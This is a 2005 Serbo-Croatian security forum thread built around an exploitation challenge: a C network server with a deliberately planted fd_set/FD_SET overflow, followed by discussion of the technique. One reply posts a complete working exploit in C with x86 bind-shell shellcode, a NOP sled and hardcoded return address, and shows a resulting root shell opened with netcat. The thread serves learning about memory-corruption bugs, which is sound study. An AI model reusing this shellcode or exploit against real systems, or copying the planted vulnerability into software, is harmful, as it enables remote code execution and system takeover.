Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

zadatak za exploitanje 2 (extremno exploitanje )

[es] :: Security Coding :: zadatak za exploitanje 2 (extremno exploitanje )
(TOP topic, by DownBload)

[ Pregleda: 9184 | Odgovora: 8 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

DownBload

Član broj: 1333
Poruke: 310
*.net.t-com.hr.



Profil

icon zadatak za exploitanje 2 (extremno exploitanje )25.01.2005. u 19:20 - pre 233 meseci
Evo jedan izuzetno zanimljiv zadatak za exploitanje. Tehnika kojom je
moguce exploitati program vrlo je jednostavna, ali se je o njoj jako malo
pricalo.
Na *BSD-u, ovaj program je moguce exploitati bez problema, za windowse
nisam 100% siguran (no za win treba ubaciti Winsock, a maknuti BSD sockete),
a na Linuxu prije pokretanja ovog programa treba postaviti limite (kao root) na otprilike:

ulimit -c unlimited
ulimit -s 8192
ulimit -n 2048
ulimit -u 1023


Code:

#include <stdio.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/time.h>

char buf2[1024];

int waitsockdata(int sock, int timeosec, int timeousec)
{

 char buf[256];
 int test=256;
 fd_set fds;
 struct timeval tv;
 int res;

 tv.tv_sec = timeosec;
 tv.tv_usec = timeousec;
 FD_ZERO(&fds);
 FD_SET(sock, &fds);
 
memcpy (buf,buf2,test);

 if ((res = select (sock+1, &fds, NULL, NULL, &tv))!=1) return EOF;
 return(sock);
}

main (int argc, char **argv)
{  
      struct sockaddr_in sin;
        int fd,cl,n;

        fd = socket (AF_INET,SOCK_STREAM,0);
        sin.sin_addr.s_addr = INADDR_ANY;
        sin.sin_port = htons (31338);
        sin.sin_family = AF_INET;
        bind (fd, (struct sockaddr*)&sin ,sizeof (struct sockaddr));

        listen (fd, 10000);
        n = sizeof(struct sockaddr);
        while ((cl=accept (fd,(struct sockaddr*)&sin ,&n)) != -1)
        {
           read (cl,buf2,1024);
           waitsockdata (cl,15,15);

        }
}



Uglavnom...nek ovaj topic ne ostane prazan :-)
Leon Juranic
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
195.252.85.*



+1 Profil

icon Re: zadatak za exploitanje 2 (extremno exploitanje )26.01.2005. u 03:22 - pre 233 meseci
Aha naso sam u cemu je vic, malo pretrazio net, fora je izvanredna bratac, na ovom ti skidam kapu gde ovo iskopa. veliki broj socekta moze ladno da prebrise onih tvojih 265 u onom int, tako da prakticno dobijamo da mozemo da prebrisemo ceo buf[256] sa nasim shellcodom koji se krije u data segmentu.
Znaci koliko kapiram broj socketa mora da bude veci od 1024 da bi se moglo prepistai nesto iza fd_set strukture... e sad ne znam stvarno kako ovo detaljno radi, jer mi nista nije jasno, a i pisem u kasne sate ali kapiram ako je socket veci od FD_SIZE (1024) onda mozemo da brisemo 1 bit onogo sto je iza fd_strukture na stacku...

Izvanredna fora, ovo keve mi moje jos nisam znao, boze koliko li je samo programa verovatno ranjivo na ovu foricu =)

A vidim da je bug nov 24/1/2005... postoji od ranije ali je sad ozvanicen =)
 
Odgovor na temu

DownBload

Član broj: 1333
Poruke: 310
*.net.t-com.hr.



Profil

icon Re: zadatak za exploitanje 2 (extremno exploitanje )26.01.2005. u 23:36 - pre 233 meseci
To sam sklepao tako na brzinu...a sama ranjiva funkcija waitsockdata() je c/p-ana
iz posta na bugtraqu (24/1/2005) koji djelomicno i opisuje tu vrstu
ranjivosti. U funkciju sam samo dodato taj 'int test' koji se koristi za memcpy(), tak
da bug bude exploitabilan.

Glavna fora je u tome da se broj file descriptora (odnosno u ovom slucaju bas socketa) za svaku
novu konekciju povecava za 1.
FD_SET() makro pise 1 flag bit po fd_set nizu cija velicina je 1024....npr. ovako:

fd_set[file_descriptor(socket)] = 1 bit

Znaci kao index nizu se daje broj socketa, a s obzirom da makro FD_SET() interno ne provjerava
dacli je file_desc < 1024, moze se pisati i iza kraja fd_set strukture.

Uglavnom, jako dobra forica...i slazem seda sigurno ima jos pun k**** programa koji su ranjivi na ovu
foru, a vjerujem da su neki i bas exploitabilni u smislu full exploitacije (izvrsavanje shellcoda).

.....cim sam vidio ovaj post na bugtraqu odmah sam downloadao source od Apache-a - just in case :-)))
Leon Juranic
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
195.252.85.*



+1 Profil

icon Re: zadatak za exploitanje 2 (extremno exploitanje )27.01.2005. u 01:46 - pre 233 meseci
hahaha hakeri ne spavaju =))
 
Odgovor na temu

glupi

Član broj: 836
Poruke: 199
*.cmu.carnet.hr.



Profil

icon Re: zadatak za exploitanje 2 (extremno exploitanje )01.03.2005. u 21:06 - pre 232 meseci
Code:

$ ./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1
$ nc 127.0.0.1 43690
id
uid=0(root) gid=0(root) groups=0(root)
exit

Code:

#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <unistd.h>

char shellcode[]=
       "\x31\xc0\x40\x89\x46\x0c\x89\xc3\x40\x89\x46\x08\x04\x04\x89"
       "\x46\x10\x8d\x4e\x08\xb0\x66\xcd\x80\x89\xc2\x31\xc0\xc6\x46"
       "\x08\x02\x66\xc7\x46\x0a\xaa\xaa\x89\x46\x0c\x89\x56\x11\x8d"
       "\x4e\x08\x89\x4e\x15\x43\x89\xd9\x80\xc1\x0e\x89\x4e\x19\x8d"
       "\x4e\x11\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x31\xc0\x43"
       "\x89\x46\x15\x89\x46\x19\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x89"
       "\x46\x0c\x89\xc1\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0"
       "\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x09\x8d\x1e\x89\x5e"
       "\x0b\x89\x46\x0f\xb0\x0b\x89\xf3\x8d\x4e\x0b\x8d\x56\x0f\xcd"
       "\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";

int main(int argc, char *argv[])
{
        int sockfd, n,i;
        char buff[300];
        struct sockaddr_in servaddr;

        memset(buff,0x0,sizeof(buff));
        memset(buff,0x90,sizeof(buff)-1);
        memcpy(buff+4, shellcode, strlen(shellcode));
        buff[268]=0x74;buff[269]=0xf4;buff[270]=0xff;buff[271]=0xbf;
        for(i=0;i<100;i++)
        {

        if(argc != 2)
        {
                printf("%s ip\n",argv[0]);
                return 1;
        }
        if ( (sockfd=socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                printf("ERROR\n");
                return 0;
        }
        bzero(&servaddr, sizeof(servaddr));
        servaddr.sin_family = AF_INET;
        servaddr.sin_port=htons(31338);
        if ( inet_pton(AF_INET, argv[1], &servaddr.sin_addr) <=0)
        {
                printf("ERROR 2\n");
                return 0;
        }
        if (connect(sockfd, (struct sockaddr *) &servaddr, sizeof(servaddr))<0)
        {
                printf("ERROR 3\n");
                return 0;
        }
        write(sockfd, &buff, sizeof(buff));
}
return 0;
}

Ovaj exploit radi ako stavim i<100, ali me zanima zasto kada stavim da se petlja odvrti 1024 puta onda kao da se vuln program zbokira, i u sniff logu vidim da stalno salje neke bad checksum pakete i kao da nista ne prima?
Nadam se da uskoro stizu novi zadaci.
 
Odgovor na temu

DownBload

Član broj: 1333
Poruke: 310
*.net.t-com.hr.



Profil

icon Re: zadatak za exploitanje 2 (extremno exploitanje )03.03.2005. u 21:43 - pre 232 meseci
Taj exploit nebi smio raditi, jer za exploitanje moras napraviti vise od 1024 konekcije da overflowas fd_set strukturu. 100 otvorenih fd-ova nije dovoljno.
Koji je to OS?
hehe...novi zadaci...doci ce kad mi na pamet padne nesto zanimljivo :-)
Leon Juranic
 
Odgovor na temu

EArthquake

Član broj: 20684
Poruke: 884
195.252.103.*



+67 Profil

icon Re: zadatak za exploitanje 2 (extremno exploitanje )04.03.2005. u 19:29 - pre 232 meseci
kod mene definitivno ne radi ovako
a sa >1024 kon
se ugasi ranjiva app
to je to
 
Odgovor na temu

glupi

Član broj: 836
Poruke: 199
*.cmu.carnet.hr.



Profil

icon Re: zadatak za exploitanje 2 (extremno exploitanje )06.03.2005. u 15:45 - pre 232 meseci
Citat:
DownBload: Taj exploit nebi smio raditi, jer za exploitanje moras napraviti vise od 1024 konekcije da overflowas fd_set strukturu. 100 otvorenih fd-ova nije dovoljno.
Koji je to OS?

Os je linux. A sto se tice otvorenih fd-ova ja ih ovorim 1024
Code:
./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1
ovo ih cak pokusa otvorit i vise. Exploit ljepo radi sto se moze i vidjet iz prilozenog jer on binda shell na 43690, a pitanje je:
Citat:
glupi:
Ovaj exploit radi ako stavim i<100, ali me zanima zasto kada stavim da se petlja odvrti 1024 puta onda kao da se vuln program zbokira, i u sniff logu vidim da stalno salje neke bad checksum pakete i kao da nista ne prima?
$ ./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1;./ex 127.0.0.1
$ nc 127.0.0.1 43690
id
uid=0(root) gid=0(root) groups=0(root)
exit


EArth da bi exploit radio trebas promjenit adressu di se nalazi shellcode
 
Odgovor na temu

DownBload

Član broj: 1333
Poruke: 310
*.net.t-com.hr.



Profil

icon Re: zadatak za exploitanje 2 (extremno exploitanje )07.03.2005. u 21:57 - pre 232 meseci
Ovo za bad checksum je dosta zanimljiva stvar. Kad sam pisao neke
programcice za rad sa raw socketima dosta cesto se je desavalo da
se checksum krivo izracuna ?!?!?. Npr. program posalje prvih 500 paketa i sve
je ok, a ostali paketi imaju bad checksum....a svi su isti.
Nemam pojma u cemu je stvar...mozda neki bugic u kernelu.
Leon Juranic
 
Odgovor na temu

[es] :: Security Coding :: zadatak za exploitanje 2 (extremno exploitanje )
(TOP topic, by DownBload)

[ Pregleda: 9184 | Odgovora: 8 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.